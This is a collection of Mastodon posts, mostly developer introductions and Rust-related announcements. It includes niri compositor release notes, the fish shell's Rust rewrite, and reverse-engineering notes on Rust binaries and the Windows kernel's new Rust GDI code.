Showcasing gestures in niri. Windows and workspaces moving horizontally and vertically, and there's a webcam feed of me doing the gestures on my Magic TrackPad 2 at the bottom right.
Hello to all of you people of mastodon! 🤗
This is my #introduction
Here I will share stuff and links that I would like more people to know, I will also try to write some reflexions and though on my projects. I live in Normandy, France. My current topics of interests are various: #programming #bike #osm #climatechange #selfhosting #freeSoftware #linux #maps #openstreetmap #wikidata #rust #python
I speak french 🇫🇷 and english 🇬🇧 .
The window opening animation is now live as part of niri v0.1.2: https://github.com/YaLTeR/niri/releases/tag/v0.1.2
I'm really looking forward to more animations, but wow they sure do need a lot of care to get right in all the edge cases.
Also, I added a way to programmatically invoke compositor actions, and turns out that's quite useful for making video demos!
Several windows opening in niri, showcasing the animations.
Check out #WorkshopsForUkraine organised by Dariia Mykhailyshyna! Past workshops covered topics on #Python, #R #Rstats, #Rust, and various #DataScience applications. You can register for the upcoming workshops and donate to get recordings and all of the materials of the previous workshops. You can also sponsor participation of a student. Full list of past and upcoming workshops at https://sites.google.com/view/dariia-mykhailyshyna/main/r-workshops-for-ukraine
sites.google.com
Feedback on the past workshops (if you want to learn how to make wordclouds, check out Text Data Analysis workshop below)
I made my first #rust contribution 🥹 it’s tiny and kinda irrelevant but it made me happy to see my name in the commit log
Well, I'm happy to release the first stable version of niri, my scrollable-tiling compositor: https://github.com/YaLTeR/niri/releases/tag/v0.1.0
Very satisfied with the current state, even though there's plenty left to do. Took a lot of time and work but I've certainly learned a lot, and I'm glad to have contributed a bit to Smithay too!
Niri showing several windows.
Hello everybody !
I am officially starting my Freelance journey as a #rust software engineer ! 
You can check out my work at https://litchipi.site and feel free to contact me whether you have a proposition, or you want to discuss 🙂
litchipi.site
Hi there! It's Zoey again 
!
I'm excited to be joining the Anarres family, so here's my new #introduction! Looking forward to my continued fediverse escapades 
.
I'm Zoey, a 30 something she/they #transfem #enby who's learning to love herself more each day. 
. I'm a software engineer working for one of those megacorps you've all heard of, but at least it's #OpenSource 
.
I have a lot of hobbies I rotate through, at the moment I'm interested in #rust, #hiking, #music, #synthesizers, #woodworking, #GameDevelopment, #writing, #BoardGames.
#fishshell rewrite-it-in #rust progress, 2024-01-15
87029 rust lines added
76776 / 76776 C++ lines removed
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ 100%
--
So, we're done? Well, yes and no.
You know I should probably do an #introduction post.
I'm Scraft161 a #Linux and #Rust nerd as well as #Anime enjoyer.
I may not talk much in posts here, but I do boost things that are interesting in my eyes.
As for the anime-related things I liked:
- #Tsukihime (read the VN; might want to watch with a couple of friends and a lot of alcohol)
- #MushokuTenseiJoblessReincarnation (watched Season 1 and read the light/web novel)
- #FateStayNight and directly related media
- #VinlandSaga (watched it not too long ago and absolutely loved it)
- #MadeInAbyss (hopped into that one pretty much blind; it was definitely *an* experience)
Pronouns: if I'd have to fill this one in it's be He/Him, but I'm fine with anything as long as I can see it is not done in disrespect.
A month has passed and a number of important additions have landed in niri, so here's a second alpha release: https://github.com/YaLTeR/niri/releases/tag/v0.1.0-alpha.2
Highlights include relative-pointer and pointer-constraints which let Xwayland masterfully handle 3D games mouse look, and popup unconstraining which prevents popups from opening off-screen. I actually made popups place within their window with some padding, which looks quite nice.
Fractal open in niri, showing an emoji popup within its window.
A few terminals open in niri showing struts or outer gaps.
🦀 🧵 Rust reversing thread: Let's use panic metadata embedded inside Rust binaries to help us reverse engineer!
(If you prefer reading this thread as a blog post, you can read it here! Using panic metadata to recover source code information from Rust binaries - cxiao.net)
If you've ever looked inside the strings of a Rust binary, you may have noticed that many of these strings are paths to Rust source files (.rs extension). These are used when printing diagnostic messages when the program panics, such as the following message:
thread 'main' panicked at 'oh no!', src\main.rs:314:5
The above message includes both a source file path src\main.rs, as well as the exact line and column in the source code where the panic occurred. All of this information is embedded in Rust binaries by default, and is recoverable statically!
Examining these can be useful in separating user from library code, as well as in understanding functionality. This is especially nice because Rust's standard library and the majority of third-party Rust libraries are open-source, so you can use the panic strings to find the relevant location in the source code, and use that to aid in reversing.
cxiao.net
Let’s use panic metadata embedded inside Rust binaries to help us reverse engineer!
Decided to make a new demo video for niri, finally. The last one was so old that niri didn't even have cursors implemented, it showed an orange rectangle instead. 🫠
Here's the link again for the curious: https://github.com/YaLTeR/niri
Very happy I've come this far writing my own compositor from scratch. Honestly thought my motivation would only last for two weeks max, but here we are. 
Learned a ton in the process, and now this experience helps me with Mutter & Shell profiling.
Doing various things in niri.
RELEASED: Cacophony, a minimalist MIDI sequencer. Buy it on @itchio or compile it for free on GitHub.
- SoundFonts
- Linux, MacOS, Windows
- Q: Will it run on your computer? A: Yes.
- Qwerty and MIDI input only. No mouse!
- ASCII interface
- Text-to-speech
- It does what it does and it doesn't do anything else.
https://subalterngames.com/cacophony/
#midi #daw #musicproduction #itch #rust #rustlang #macroquad #soundfont #indiedev #indiegame #opensource
Does your company use #rust hyper.rs and related libraries (reqwest, tonic, axum, etc)? Would you benefit from private office hours or reviews?
🦀 Reach out: https://seanmonstar.com/sponsor
seanmonstar.com
I’m an independent OSS maintainer, so sponsors, support, and advising allow me to provide features, bug fixes, security reports, triage, and mentoring.
My fork of the #Mastodon digest has accumulated enough new features that I'm getting antsy of writing #Python, which is what the original is written in. I’m thinking of a rewriting it, but I'm conflicted between using #Haskell, which is my comfort language, #Golang, which may be easier for others to contribute to, and #Rust, which I want to learn.
The program involves fetching a bunch of #JSON data from the internet, doing some statistical calculations on that data, and then outputting an HTML page.
What do you think I should rewrite it in? #Programming #poll
genserver.social
My new #introduction here!
Hello PDX people!
My name is Daisuke Murase, and I am also known as "typester" on the internet and in the nerd world.
I'm a full-time software engineer, and am proficient in a variety of programming languages, but #Rust is my favorite.
I'm a father of two beautiful boys ❤️
I am also a gamer, currently hooked on #DiabloIV. I recently reached level 100 in the current season 1, and am now aiming to clear tier 100 of the nightmare dungeons!
Finished #reading "Type Systems for Memory Safety" https://borretti.me/article/type-systems-memory-safety by Fernando Borretti. It is a comprehensive review of various type system features across different #ProgrammingLanguages that are used to enforce (varying degrees of) memory safety at compile time.
As expected, it talks a lot about #Rust because Rust is probably the most used PL with compile time memory safety, but it features other languages like Ada, Val and Austral as well.
An interesting read if you are interested in #compilers.
borretti.me
A survey of type systems for memory safety.
I can't sleep so of course i'm noodling away with some #Rust. It's such a cliche at this point but I've been building a static site generator and it's been powering my blog for the last 6months (not that I'm hugely active though you can read more here https://blog.barnettjones.com/2023/01/14/feeds-and-things/).
This has been such a useful exercise for learning rust! I feel a lot more comfortable with getting things prototyped (with liberal use of `.clone()`) and then refining as I go.
blog.barnettjones.com
(re)Bloggy contd.
Running #Rust code on the made-in-India Vega #RISCV processor: https://git.sr.ht/~pcein/rust-vega-lfsr @mastodonindians #mastindia
time for an #introduction
I'm Tuula Aurora, a trans woman living in Finland and trying to figure out the world.
I tend to switch from hobby to hobby when it strikes my fancy.
I like coding and switch from language to language (#python, #hy, #haskell). Sometimes I try to wrap my head around #coq or #rust.
I also like #drawing and doodle silly things on the margins now and then.
Also, tell me about your cool project. I love hearing what people are creating.
#Introduction Hi, I'm Chris! Originally trained as a mathematician, I spent a few years after grad school as an academic nomad. After my physicist wife got a tenure-track position, I had a contingent position at her university for a number of years. When my wife got tenure, I decided to leave academia. After a few years as a SAHD, I'm now trying to retool as a software dev. I'm passionate about #Python and have recently learnt #Rust. I also mess around with #JavaScript.
Oh look, a wild Zoey appears 
!
I've switched instances again, to be amongst the cuties at cutie.city 
, so here's my new #introduction! Looking forward to meeting everyone 
.
I'm Zoey, a 30 something she/they #transfem #enby who's learning to love herself more each day. 
. I'm a software engineer working for one of those megacorps you've all heard of, but at least it's #OpenSource 
.
I have a lot of hobbies I rotate through, at the moment I'm interested in #rust, #hiking, #music, #synthesizers, #woodworking, #GameDevelopment, #writing, #BoardGames.
Re- #introduction
Hello to all the new people joining the Fediverse! I'm a activist programmer from #Helsinki.
I try to toot interesting things related to #activism about #ClimateChange / #ClimateCrisis / #EarthBreakdown, from the perspective of #degrowth / #ClimateJustice / #sustainability. I'm one tiny part of #ExtinctionRebellion.
I build #FOSS / #OpenSource / #commons and #ConvivialSoftware using #rust and will write more about that soon.
Third, occasionally #philosophy, #anticapitalism.
#Introduction
I first used #Mastodon in 2017, but I haven't actively participated in social media or internet chats since birdsite and #IRC over a decade ago. But I want to get comfortable with it again!
I'm queer: transgender non-binary; pronouns they/them. 
I'm a software architect in New York 🧑💻 — I write #Scala, #Rust, and #Typescript, but more than programming I focus on people and their ideas. I have a passion for #design, technical or otherwise, with a purpose of helping people make better decisions and find joy. I also love #accessibility in design: you, me, and all people should be empowered by advancements of society.
I'm an optimistic person. I'm hopeful the world will improve for people who are trying to make it better.
Thanks for reading, have a lovely day!
🩷🩵🤍💜💛🖤
In the new Rust Windows kernel GDI code, there is a new global allocator registered named gdi_alloc::Win32Allocator . It calls Win32AllocPool with a fun new pool tag name, "Rust"!
#rust #rustlang #windows #microsoft #reversing #reverseengineering
The implementation of a new global allocator registered in the new Rust code in the Windows 11 kernel's implementation of GDI Regions. It is named gdi_alloc::Win32Allocator. It calls the function Win32AllocPool with the pool tag name "Rust".
For the new Windows kernel Rust GDI stuff that is all the rage now (win32kbase_rs.sys, win32kfull_rs.sys): here are the links to download copies of those binaries, from the Microsoft Symbol Server:
https://msdl.microsoft.com/download/symbols/win32kbase_rs.sys/272C4A031b000/win32kbase_rs.sys
https://msdl.microsoft.com/download/symbols/win32kfull_rs.sys/8264C482a000/win32kfull_rs.sys
These should be the versions that are in Windows 11 Insider Preview 25357.1 (zn_release) amd64 . The SHA-256 hashes are:
87ee0235caf2c97384581e74e525756794fa91b666eaacc955fc7859f540430d win32kbase_rs.sys
2efb9ea4032b3dfe7bf7698bd35e3ea3817d52f4d9a063b966f408e196957208 win32kfull_rs.sys
(I first extracted these files myself from the update package for build 25357.1, then generated the symbol server download URLs from the PE metadata in the files)
Of course, in addition to the actual executables, symbols are available from the symbol server as well (see screenshot).
@analog_feelings already did some reversing of win32kbase_rs.sys several weeks ago, here: https://tech.lgbt/@analog_feelings/110232321999960466 🤘
Now, time for me to go figure out how to actually reverse Rust 🦀
#rust #rustlang #windows #reversing #reverseengineering #microsoft
New layoffs, new #introduction
Hi! I'm Hugh from Ireland, but living in Amsterdam.
I'm taking time off between jobs, so I spend my time focusing on learning stuff like #3d-printing, #OpenSCAD, and #rust, #cycling around Amsterdam, playing #guitar and #bass, playing video games with my friends, and listening to lots of podcasts.
I'll do a new one of these when I start the job search properly!
New instance, new #introduction!
Hi there! I'm Zoey (you can also call me Zo), I'm a 30 something she/they #transfem #enby who's still trying to figure herself out.
I'm a software developer reluctantly working for a megacorp, but at least it's #OpenSourced.
I'm a collector of hobbies and my obsessions shift like the winds. At the moment I'm interested #rust, #hiking, #music, #synthesizers, #woodworking, #GameDevelopment.
Never got around to a Hachyderm intro post, so…
Hello, I’m James 👋 a Linux systems administrator from the UK
⚙️ #devops enthusiast, interested in Automation, stateless systems and Config Management
🦀 Learning #Rust, user of #Go, #Python and #Ruby…
🐧 #nixOS user and Enterprise Linux fan
🌍 Working on #climate #science #HPC at a UK national lab
⚜️ Scout Leader in East Anglia #ukscouting
🥾 Finding every opportunity to go out #hillwalking #kayaking and #paddleboarding
✊ 🏳️🌈🏳️⚧️🇪🇺
How Dagger uses Ruff: https://dagger.io/blog/ruff
Faster python linting, implemented in Rust ❤️
dagger.io
Powerful, programmable CI/CD engine that runs your pipelines in containers — pre-push on your local machine and/or post-push in CI
Since I lost my pinned post I thought I would share this here again: You can support development of #openindiana and my #rustlang #rust tools for zone management and package building via GitHub Sponsors
https://github.com/sponsors/Toasterson
If you prefer a direct support option there is also a Patreon available https://linktr.ee/toasterson. I have some commercial Interest in several things I do but financing some Testhardware for ARM independantly would be nice. It makes negotiations simpler.
linktr.ee
Doing things related to rust and illumos
Hi,
I am an #infosec enthusiast interested in #dfir #incidentresponse #malware #rootkits #velociraptor #reversing and a bit #pentesting / #purpleteam (yeah, bit more on the #blueteam side... 😅 )
Programming wise #linux #python #rust #golang
Apart from that I can always talk about #rock and #metal 😀 🤘
Looking forward to connect to people on these topics - feel free to PM me 🙂
Just published my first #rust library!
It's a simple wrapper for the Chuck Norris Joke API -> https://api.chucknorris.io
Here's the library:
https://crates.io/crates/norris
crates.io
I've recently been doing a lot of experimental work on MIR optimizations in the #rust compiler, and I recently realized I should probably be writing about what I'm doing.
So, since I struggle with long-form stuff, I'm starting here.
(This thread will be updated often as I work through my backlog of work, and also updated with new work)
I suppose I should do an #introduction. I'm a software engineer, programming as a hobby since 2004 and professionally since 2016. I've done a bunch of #python, #rust, and #golang. Learning #electronics and #fpga. I'm interested in the lower levels of stack. My career was in #biomedical devices, and I now work in #space tech. Desktop #linux user since 2004. Father of a small one. Done #jujitsu for mad days. Enjoy #retrogaming, #retrocomputing, and #misterfpga. Glad to be here with y'all.
I have never really done an #introduction... here goes!
I'm a PhD #researcher at the Vrije Universiteit Brussel, working on #privacy-enhancing tech. Using cool #cryptography in previously unexplored application domains. Peer-to-peer online social networks have a special place in my heart.
I use a lot of #Rust.
In my spare time, I maintain #Whisperfish, the unofficial #Signal client for #SailfishOS. I roam the EU with my Renault Zoe ZE40.
I guess I should do an #introduction
I'm Zoey, I'm a 30 something trans girl (still working through what that means for me) and software developer.
I like #rust, #woodworking, #synthesizers, #podcasts, #hiking, and a ton of things I'm sure I neglected to mention.
I’m settling in to my #dad phase. I technically have vestigial single dude hobbies, but they’re woefully attended to. I’m hanging onto my sci fi/fantasy novels with a death grip though.
I’ve been doing a lot with #computers lately, but only when they pay me. I swim at the #embedded systems layer of arguing with sand for a living. #Rust seems fun, I hope it catches on one day.
#Lurker by nature, but really trying to do this posting thing, cause what could go wrong?
Just realised that I've never done a #introduction here. So here it goes.
I'm Parxevicj(the name has no meaning its just keyboard smash), I'm interested in programming(mostly #rust, but i also do #python sometimes), open source, light novels and manga. I'm usually a lurker, but I'll try to post on this account often.
Time for an #introduction!
I'm a young Canuck with interests/experience in #HPC, #Linux, #BLAS, #SYCL, #C, #AVX512, #Rust, heterogeneous compute & other such things.
Currently my personal projects are bringing #FP16 to the #OpenBLAS library, working to standardize what Complex domain BLAS FP16 kernels/implementations should look like, and making sure #SYCL is available everywhere.
I also write every now and again. Here's the tail of AVX512 FP16 on Alderlake
https://gist.github.com/FCLC/56e4b3f4a4d98cfd274d1430fabb9458
gist.github.com
On AVX512 FP16, Alder Lake, custom kernels, and how "Mistakes were made" has never rang so true - A not so brief discussion of Alder Lake, the new AVX512 FP 16 extensions, Sapphire Rapids...
Part one of my blog series on hacking my Delonghi Bluetooth coffee maker to brew coffee from Github Actions is up. I spent far too long on this project, but the coffeemaker's app was too rough to us, and filing an issue to get a caffeinated beverage just makes far too much sense!
#rust #rustlang #github #devops #reverseengineering #hacking
https://grack.com/blog/2022/12/01/hacking-bluetooth-to-brew-coffee-on-github-actions-part-1/
grack.com
I just made my wave function collapse project #OpenSource in #rustlang at https://github.com/AustinHellerRepo/WaveFunctionCollapse.
It features the ability to setup a graph of nodes, specify which node states are permitted given the current state of a node, and two different collapse algorithms depending upon your need.
This image shows how it can be used to generate landscape from the included #rust example. There are three other examples showing how it would be used in common scenarios. Any and all feedback is welcome.
An #introduction since I've just migrated from @annodomini
Brian Campbell (he/him).
Day job is working in DevOps at Beta Technologies, an electric #aviation eVTOL startup. I also help out with telemetry and software verification. I work mostly in #Python and #C there.
At night, I prefer #Rust.
To many hobbies to list; a few:
* Learning to #fly
* #Bicycling
* #Motorcycling
* #Juggling
* #BoardGames
* #Cooking
* #Archery
* #SCA (medieval group)
Thanks @nova for hosting!
Hi, I'm Dennis (or seri)!
I like #rust and do stuff with it that may or may not be useful (such as making it work on Windows 95 just because https://seri.tools/blog/announcing-rust9x/)
Also like old computers and binary reverse engineering.
Not posting much, usually, but feel free to follow if you're interested in these things!
seri.tools
Hi, I'm Stephen! #Introduction time! I'm a systems programmer who loves #Rust. I co-founded and am currently CTO of a small R&D/consulting company working on securing legacy software through sandboxing and migrating to Rust. I'm especially proud of C2Rust, our tool for rewriting legacy #C code into Rust.
I'm a #Christian who believes that the most important thing we can do on this earth is love each other. That means listening to, loving, and caring for those who are marginalized by our society - especially the poor, the oppressed, refugees, the LGBTQ community, people of color, native peoples, immigrants, and the incarcerated. My wife and I strive to live up to this together, often fall short, and are constantly learning how to better love God and our world.
I support LGBTQ rights and women's rights. Trans rights are human rights. Speaking of rights, #Politics and political discussion are important to me, so you may see posts of a political nature. I'm not entirely on board for the culture of content warnings here, but I'll try to CW the particularly political posts.
Other stuff I enjoy - #gaming (FPSs, logistics and strategy, #BoardGaming, #TTRPG), #music (especially Celtic and Metal), #cats, #compilers, #cryptography, #Emacs, #MountainBiking, and making new friends! Looking forward to building new community here.
#Introduction post (late I know)
Hi, I'm Poliorcetics, a French #rust-acean and I think people deserve rights, a roof on their head, clean water, cheap energy, education, healthcare, and more.
I like working on perf and docs and I try to contribute to open source projects somewhat regularly.
I love cats and while I don’t have one, I try to pet any I meet while outside.
If you need to improve a `macro_rules!`, I can probably be nerd-sniped into looking at it.
#introduction Hi there,
I am a software engineer from Brazil, currently working as a back-end web developer.
I am interested in all things #linux, #emacs, #rust and of course open source in general. Currently I am writing a NES #emulator in rust as a side project. I could probably talk about #keyboards and programming languages all day. When not doing any of this nerdy stuff, I am probably playing board games, video games (mostly strategy and RPGs) or watching anime.
New server, new #introduction. Hi!
I'm Thomas, a quadragenarian #autistic nerd from the north-east of England.
I mess about a lot with computers - I run #FreeBSD, self-host much of my internet presence, and program in #Rust, #Ruby, and a bit of #Python and #C.
If you've downloaded a Linux ISO on #Usenet in the past 15 years, I probably helped.
I like #SciFi, weird PC #games, #cooking, #dogs, and disapproval of our collapsing cyberpunk dystopian corporatist hellscape.
To the point: I'm a bit of a #tech nerd, #developer and #sysadmin I guess. I talk about #coding, #technology and #games.
I'm Senior (L5) at Google as a #Network #SRE, but don't ask me, I'm not that clever.
I enjoy binge watching #anime like crazy, doing #photography, #music (but newbie at it), #pixelart (also newbie).
On tech, you'll hear me rant about #SSD, #Databases, #PostgreSQL, #Linux, #Rust, #Golang, #sharding, etc.
Also @deavid@techisland.social is my alt account
Hi, I'm Björn. I'm a #rust programmer. I work on the rust compiler as well as a Cranelift based backend for rustc. I also try to be helpful to others. If you have any rustc related questions, feel free to ask.
Celebrating my past experimental #projects about state machine #DSL that can generate both code and diagram. But alas, I don't have any single project in need that DSL so continuing it is kinda hard. It's written in #Rust but I have 2 other prototype written in #Nim (require compilation) and #Javascript (pure runtime, no compilation).
If anyone want to collaborate or continue the effort, feel free to ask me. I have some stuff in mind about it.
https://github.com/DrSensor/scdlang
Is everyone doing an #introduction post now?
I'm terrible at introducing myself, but I did manage to make a fairly reasonable 'About' page for my website, which is fwiw here: https://wayne.conniptions.org/about/
Current obsessions include learning #yiddish and #mandolin, while feeling vaguely guilty about bunking off a bit from #writing and learning #Rust. Also #godotengine, though I swear I will get back to that half-started game as soon as I get headspace.
wayne.conniptions.org
Wayne Myers is a musician, writer and coder based in St Leonards-on-Sea. This is his blog.
Hi, I'm Andreas and this is my #introduction .
I'm a #PhD student from Jena, Germany, working on computational structural biology. My background is in #bioinformatics and #computationalscience and I am passionate for mathematical #modelling , #programming and #scicomm . I prefer #julialang and #rust when implementing my ideas.
Some random trivia: My favourite...
... composer: Chopin
... sport: rowing
... font: Source Serif
Following other #introduction's I also wanted to say "Hi! 👋"
I'm a software architect working at GSK.AI enabling #ML workloads in the cloud. Built GSK's first #GCP platform with full #automation and #trust. Started 30 years ago writing BBS shareware in TopSpeed C. Nowadays I write #Rust for pleasure and #Python for profit. I'm also an unapologetic #Neovim fan. When not chasing round after the kids I'm walking the dog or hiding in a #coffee shop.
Incredibly grateful to @nova for this community!
👋 Hi! Like many of you, I'm trying new social products, including Mastodon. Say 'hi' and consider following if we share interests:
🔥 #FIRE
👨✈️ Aviator / Pilot #Cirrus / #Aviation
👨🎓 BBA, MBA
🏔 Mountaineer Mt.Whitney, HalfDome (4x) & South Sister
🎮 #RPG, #Roguelike, #TTRPG, and #FlightSim games
🏍 #Motorcycles + 🏕 #Camping
👨💻 Hobbyist coder #Rust #Python
💻 Tech industry vet 2 #IPO
😇 #SAAS Angel/Advisor
lrlna, an #introduction!
I am Ukrainian-Canadian software engineer living in Copenhagen. I do #compilers, #parsers, #rust.
I am into #plants and #gardening, and grow a bit of food and flowers on my balcony.
I make #zines! Some computer related, some are #art projects. I am recently into #risograph printing (#riso community anyone??).
I'll occasionally also toot about #hiking, #literature, #poetry and my #cats (ok fine,,,,, a lot about cats).
🕯️ hoping for a cozy community 🕯️
(boosts okkkk)
Been here over a year but never did an #Introduction. Only just uploaded something for a profile pic.
I work as a junior #sysadmin, mostly writing #ansible playbooks. I've been a user and contributer of FOSS for many years. Started with #IRIX, then #Solaris but now happiest on #FreeBSD. Use #i3wm, #tmux, #vim, #mblaze and am a lapsed zsh developer. When I get to program, my preference is #Rust and #Ruby but probably do more C and shell.
Otherwise, I like to be skiing, kayaking or walking.
Oh. Right. #introduction time.
Hi! I'm Peter Pentchev, born in #Sofia, #Bulgaria, a long, long time ago (a couple of days after Elvis died (allegedly)). I like to think of myself as a #programmer, mainly in #C, #Perl, #Shell (POSIX preferred, #bash tolerated), some #Forth, #Pascal and #Prolog, 6502 and x86 #assembly. Lately I've done some #Rust and (type-checked) #Python.
I was a #FreeBSD committer years ago, then moved on to #Debian packaging; dabbling in #nixpkgs lately. I maintain some software of my own and I really, really need to update the https://devel.ringlet.net/ index.
I used to be a voracious reader, mainly many genres of #fantasy and #SF; sometimes I still find the time.
Decades ago I could say I played the piano, now I sometimes try to remember how to use an electronic keyboard.
I support #LGBTQIA+ rights, I believe trans people are people who have finally found themselves and sometimes I envy them that.
Thanks for reading this far; live long and prosper, and be kind!
devel.ringlet.net
Introducing myself: My name's Jack, I'm originally from Texas (but please don't hold that against me), I'm a coder currently doing devops for a large tech company, doing #Rust in my spare time, I also do/teach FMA (Filipino Martial Arts), side interests are cryptography and security, lock picking, math, physics, books and way, way, WAY left politics.
Nice to meetch'all
So now that I've changed instances, maybe good time for #introduction even though I've been on mastodon itself a good while.
I'm a #rust #developer working for a company called Astropad. I also dabble some with #elixir but primarily develop macOS/Windows & iPhone/iPad apps.
I'm also a big #gamer, probably spend a ton of time #gaming :)
I also have 3 #cats and 2 #dogs, so there'll always be occasional pictures of them posted!
As an aside, who should I follow that has a great intersection of #OpenHardware, #OpenSource, #Rust, #Embedded and also has great #leftist politics and thinks about #technology and #society?
Okay I'm doing a proper #introduction post! I've been here for only a few days so far.
I'm Eric, I'm in the #SFBayArea, punching keys in the #code mines.
I'm a #socialist, #TransitTooter and #BikeTooter and live #CarFree!
I'm also really interested in socially conscious #tech. I wonder how tech and #social issues overlap and inform each other. How do we imagine tech outside of capital? I'm learning #embedded and #OpenHardware using #rust! Tech and #transportation to the people!
Hello! I guess I'm here now. 👋
You might find me talking about some of these nerdy topics: #programming #types #fp #functionalprogramming #typescript #rust #haskell
And these slightly different nerdy topics: #urbanism #bikes #architecture
#introduction Hi, I'm Bart from The Netherlands.
By day I'm a software architect working in legal publishing. My professional interests include #XML, #search, #ai.
At night I dabble with #synthesizers, program in #Rust or #Scala, and watch too many youtube videos related to #music.
#Introduction Sean here. I've long loved the open decentralized web, starting back when I was at #Mozilla, and played a lot with Tent.io. Happy to see this seems to be taking off!
I'm a programmer, using the #Rust language to maintain #opensource hyper.rs, the HTTP library. 🦀
More at https://seanmonstar.com
seanmonstar.com
My name is Sean McArthur, and here I blabber on about Rust, networking, open source, and a better web.
Proper intro for me, finally. I'm a full-stack engineer, usually writing #rust, #python, #typescript, or occasionally C. Been programming since I first have memories and tech talk is my happy place. I miss the small-town feel of programming groups I grew up with.
Some fun stuff I've done in open-source:
Porting Adventure to the web https://grack.com/demos/adventure/
My homelab monitoring tool: https://github.com/mmastrac/stylus
github.com
Lightweight status page for home infrastructure. Contribute to mmastrac/stylus development by creating an account on GitHub.
#Introduction 👋 I’m Aaron, a big-hearted guy recovering from #CPTSD. I’m learning how to heal and grow from the trauma and abuse throughout my life, and I share that journey openly, to help others know they aren’t alone.
I’m a lifelong computer nerd, and helped lead the #rustlang community through the first two editions of #Rust. These days I’m enjoying working on #WebAssembly-based edge computing with my team at Fastly.
I’ve got two kids, an amazing partner @Tiamat@octodon.social, and lots more to share!
What’s up party people. I’m Ryosuke, I work at #PlayStation prototyping new experiences across console, #VR, and more. Before that I ran a #cannabis publication and studio for over 10 years.
I do a lot of OSS #webdev and #gamedev, mostly in #UI and tooling. I’m currently learning #Rust and #UnrealEngine, but I usually use #ReactJS and #JavaScript.
I’m also into art, fitness (#yoga and #bodybuilding), tv/film/anime, and probably more - feel free to ask!
Hi, I'm Dominik 🙃
I had always worked for product security teams on the side (WiFi SoHo routers, Smartcard readers, random software, ..) during uni/PhD, but finally quit #academia completely a while ago.
Now I'm doing #connectivity security and vuln research, trying to improve archaic low level protocols and implementations in #phones 😬.
Before that, I did a lot of #fuzzing (still do) and co-authored a bunch of papers I personally like, about #snapshot and #network fuzzing (FitM), #binary-only baseband fuzzing (FirmWire), Nvidia #driver fuzzing (BSOD) and many more.
Also, stumbled into @aflplusplus, the team maintaining #AFL++ and the fuzzing library #LibAFL we wrote in #rust (https://github.com/AFLplusplus/LibAFL) that currently dominates benchmarks! Enjoying this a lot :)
Apart from that, I travel, play games, organize CTFs, and just do whatever activities friends spontaneously throw at me
github.com
Advanced Fuzzing Library - Slot your Fuzzer together in Rust! Scales across cores and machines. For Windows, Android, MacOS, Linux, no_std, ... - AFLplusplus/LibAFL
#introduction time! I'm Jonathan Carroll, known around the sites as jonocarroll and on the bird site as carroll_jono (the other name was taken).
My PhD (2009) was in theoretical physics (Fortran90). I've since worked in fisheries (stats), then cancer immunology with Genentech, and most recently precision autoimmunology with a biotech startup HIBio. I'm mostly #rstats but learning #julia, #rust, and #python for fun. I work remotely from #australia and I blog at https://jcarroll.com.au
jcarroll.com.au
I’ve just realized I haven’t done a proper #introduction like the rest of lads in these parts, so here I go:
I’m Juan, I’m a software engineer at GitHub (my views are my own, etc). Years of corporate software building have drown my joy for programming by a lot but I still find it enjoyable in my own terms (don’t ask me how many times I rewrite my dotfiles).
My interests are #rust (which I would love to do more), lots of #videogames (new and old), #comicbooks and general #scifi and #nerd stuff.
👋 folks!
I'm Luca, an Italian immigrant in the UK.
My timeline is usually a mix of baking pictures, diaries from my #programming projects and (targeted) rants about the state of the world.
When it comes to bits and bytes, my focus is on the #rust community 
I wrote a book about it (https://zero2prod.com) and I spend my working hours at AWS trying to make using Rust an enjoyable experience.
Feel free to reach out 😁
zero2prod.com
A hands-on introduction to backend development in Rust.
Heya folks! 👋
My name is Sophia, I work as a software developer in Germany.
This is my #tech account, so I'll focus on #Vim #NeoVim, command-line tools, #TypeScript, front-end #WebDevelopment.
Other accounts 👉 please see my bio.
I love to try out different programming languages like #GoLang, #Rust, #Elixir, #Nim, #OCaml, etc.
In my free time I enjoy reading, playing pen & paper RPGs #ttrpg or learning new languages like #Esperanto.
Hi I’m new to 
and I see #introduction is a fun thing to do.
I enjoy #modernart, #abstractart, #paintings, #photographs. I love listening to #music including #drumandbass, #dance, #classical, #pop, #punk, #ska, and #alternative. I am learning #crochet and #piano and into sports like #skateboarding, #rollerderby, #squash, and #hockey. I love #learning and #science.
Have a #MSc in #compsci. I make internet #software have better #security. I enjoy #rust but do research with #cpp too.
❤️
Time for a little #introduction :)
I'm Jikstra, a #foss developer working on #deltachat desktop and a few smaller side projects. I do #ui #ts #html #css and #rust. I want to use this account to blog about ideas, experiments and dev things.
Я программист, сейчас на #typescript пишу всякие #web штуки. Последнее время упарываюсь в #web3, то есть #crypto, децентрализация и всякое такое. В вебе со времён #jquery и ES3, но про них обычно вспоминают как о страшном сне. Могу ещё писать на #python и #rust.
Но вообще когда-то давно хотел стать дизайнером. Не потому что творчество люблю, а потому что люблю делать красиво и удобно.
В свободное время... Скажем, что в свободное время я тюленю перед компом, пытаясь найти в интернете всякого интересненького. Не так давно нашёл вот Mastodon и потихоньку задумываюсь о том, чтобы сделать свой сайт в лучших традициях #indieweb
Вот такой вот получился у меня #introduction
Что буду сюда писать пока не знаю, я скорее чукча-слушатель, а не писатель.
Hi, I am known as dunkelstern almost everywhere, in real life just call me “jo”.
I am a backend-developer using #python and #javascript by day, but i am living on github by night too and working on one of those unfinished projects there (#rust, #c, python and #cad)
If I am not tinkering with my #smarthome you will find me in the guts of some #3dprinter or fiddling with some #electronics
On the weekend you’re likely to find me in our #makerspace habitat augsburg
Hi, ich bin fast überall dunkelstern, im echten leben sagen die leute meistens Jo.
Ich arbeite als backend-entwickler mit #python und #javascript, bin aber auch privat auf github zuhause und kippe dort meine drölf millionen unfertige projekte ab (#rust, #c, python und #cad)
Wenn ich nicht an meinem #smarthome bastel dann wahrscheinlich an irgend nem #3d-drucker oder sonstigem #elektronik gebastel.
Am wochenende findet ihr mich im habitat in augsburg, meinem #makerspace
do i know anybody who has done an #embedded #rust project? could use another pair of eyes on mine
i got a bootloader onto my atsamd21-based custom board, got my blink-a-single-led with custom bsp code to compile
but when i load it onto the chip, from what i'm seeing in gdb, it seems like it's stuck in a loop somewhere in peripheral initialization (cortex-m/src/peripheral/mod.rs) never even reaching my main function
frustrated 😕
Hey yo newbies on hackers.town and beyond. Permit me to #reintroduction myself if you will.
I have a 1 in 6 chance of detecting secret doors and a pick lock skill of 10%. I'm probably talking about old-school D&D and totally not #infosec.
I enjoy slinging code, especially C and sometimes C++ although I mostly #golang for $daygig.
Update: Currently learning #rust because I don't wanna do #golang anymore.
